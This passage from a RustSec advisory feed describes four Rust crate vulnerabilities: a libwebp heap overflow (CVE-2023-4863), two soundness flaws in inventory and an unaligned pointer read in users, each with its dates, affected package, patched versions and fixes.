|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0060
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>libwebp: OOB write in BuildHuffmanTable</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-09-12">
|
|
September 12, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-09-13">
|
|
September 13, 2023
|
|
</time>
|
|
|
|
<time datetime="2023-09-26">
|
|
(last modified: September 26, 2023)
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/libwebp-sys2.html">libwebp-sys2</a>
|
|
(<a href="https://crates.io/crates/libwebp-sys2">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/memory-corruption.html">memory-corruption</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="keywords">Keywords</dt>
|
|
<dd>
|
|
|
|
<a href="/keywords/webp.html">#webp</a>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="aliases">Aliases</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
|
|
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5129">CVE-2023-5129</a>
|
|
|
|
</li>
|
|
|
|
<li>
|
|
|
|
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4863">CVE-2023-4863</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>&gt;=0.1.8</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p><a href="https://chromereleases.googleblog.com/2023/09/stable-channel-update-for-desktop_11.html">Google</a> and <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2023-40/">Mozilla</a> have released security advisories for RCE due to heap overflow in libwebp. Google warns the vulnerability has been exploited in the wild.</p>
|
|
<p>libwebp needs to be updated to 1.3.2 to include a patch for &quot;OOB write in BuildHuffmanTable&quot;.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0058: Unsoundness in inventory</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0058.html</id><updated>2023-09-10T12:00:00+00:00</updated><category term="thread-safety"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0058.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0058: Unsoundness in inventory"/><published>2023-09-10T12:00:00+00:00</published><summary xml:lang="en">Exposes reference to non-Sync data to an arbitrary thread</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/inventory/RUSTSEC-2023-0058.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/inventory/RUSTSEC-2023-0058.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0058">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0058
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>Exposes reference to non-Sync data to an arbitrary thread</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-09-10">
|
|
September 10, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-09-10">
|
|
September 10, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/inventory.html">inventory</a>
|
|
(<a href="https://crates.io/crates/inventory">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
<span class="tag info">INFO</span>
|
|
Unsound
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/thread-safety.html">thread-safety</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="keywords">Keywords</dt>
|
|
<dd>
|
|
|
|
<a href="/keywords/life-before-main.html">#life-before-main</a>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://github.com/dtolnay/inventory/pull/42">
|
|
https://github.com/dtolnay/inventory/pull/42
|
|
</a>
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>&gt;=0.2.0</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>Affected versions do not enforce a <code>Sync</code> bound on the type of caller-provided
|
|
value held in the plugin registry. References to these values are made
|
|
accessible to arbitrary threads other than the one that constructed them.</p>
|
|
<p>A caller could use this flaw to submit thread-unsafe data into inventory, then
|
|
access it as a reference simultaneously from multiple threads.</p>
|
|
<p>The flaw was corrected by enforcing that data submitted by the caller into
|
|
inventory is <code>Sync</code>.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0057: Unsoundness in inventory</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0057.html</id><updated>2023-09-10T12:00:00+00:00</updated><link href="https://rustsec.org/advisories/RUSTSEC-2023-0057.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0057: Unsoundness in inventory"/><published>2023-09-10T12:00:00+00:00</published><summary xml:lang="en">Fails to prohibit standard library access prior to initialization of Rust standard library runtime</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/inventory/RUSTSEC-2023-0057.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/inventory/RUSTSEC-2023-0057.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0057">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0057
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>Fails to prohibit standard library access prior to initialization of Rust standard library runtime</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-09-10">
|
|
September 10, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-09-10">
|
|
September 10, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/inventory.html">inventory</a>
|
|
(<a href="https://crates.io/crates/inventory">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
<span class="tag info">INFO</span>
|
|
Unsound
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
<dt id="keywords">Keywords</dt>
|
|
<dd>
|
|
|
|
<a href="/keywords/life-before-main.html">#life-before-main</a>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://github.com/dtolnay/inventory/pull/43">
|
|
https://github.com/dtolnay/inventory/pull/43
|
|
</a>
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>&gt;=0.2.0</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>Affected versions allow arbitrary caller-provided code to execute before the
|
|
lifetime of <code>main</code>.</p>
|
|
<p>If the caller-provided code accesses particular pieces of the standard library
|
|
that require an initialized Rust runtime, such as <code>std::io</code> or <code>std::thread</code>,
|
|
these may not behave as documented. Panics are likely; UB is possible.</p>
|
|
<p>The flaw was corrected by enforcing that only code written within the
|
|
<code>inventory</code> crate, which is guaranteed not to access runtime-dependent parts of
|
|
the standard library, runs before <code>main</code>. Caller-provided code is restricted to
|
|
running at compile time.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0059: Unsoundness in users</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0059.html</id><updated>2023-09-12T12:00:00+00:00</updated><link href="https://rustsec.org/advisories/RUSTSEC-2023-0059.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0059: Unsoundness in users"/><published>2023-09-10T12:00:00+00:00</published><summary xml:lang="en">Unaligned read of `*const *const c_char` pointer</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/users/RUSTSEC-2023-0059.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/users/RUSTSEC-2023-0059.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0059">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0059
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>Unaligned read of <code>*const *const c_char</code> pointer</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-09-10">
|
|
September 10, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-09-10">
|
|
September 10, 2023
|
|
</time>
|
|
|
|
<time datetime="2023-09-12">
|
|
(last modified: September 12, 2023)
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/users.html">users</a>
|
|
(<a href="https://crates.io/crates/users">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
<span class="tag info">INFO</span>
|
|
Unsound
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
<dt id="keywords">Keywords</dt>
|
|
<dd>
|
|
|
|
<a href="/keywords/unaligned-read.html">#unaligned-read</a>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://github.com/ogham/rust-users/issues/55">
|
|
https://github.com/ogham/rust-users/issues/55
|
|
</a>
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
no patched versions
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>Affected versions dereference a potentially unaligned pointer. The pointer is
|
|
commonly unaligned in practice, resulting in undefined behavior.</p>
|
|
<p>In some build modes, this is observable as a panic followed by abort. In other
|
|
build modes the UB may manifest in some other way, including the possibility of
|
|
working correctly in some architectures.</p>
|
|
<p>The crate is not currently maintained, so a patched version is not available.</p>
|
|
<h2>Recommended alternatives</h2>
|
|
<ul>
|
|
<li><a href="https://crates.io/crates/uzers"><code>uzers</code></a> (an actively maintained fork of the <code>users</code> crate)</li>
|
|
<li><a href="https://crates.io/crates/sysinfo"><code>sysinfo</code></a></li>
|
|
</ul>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry></feed> |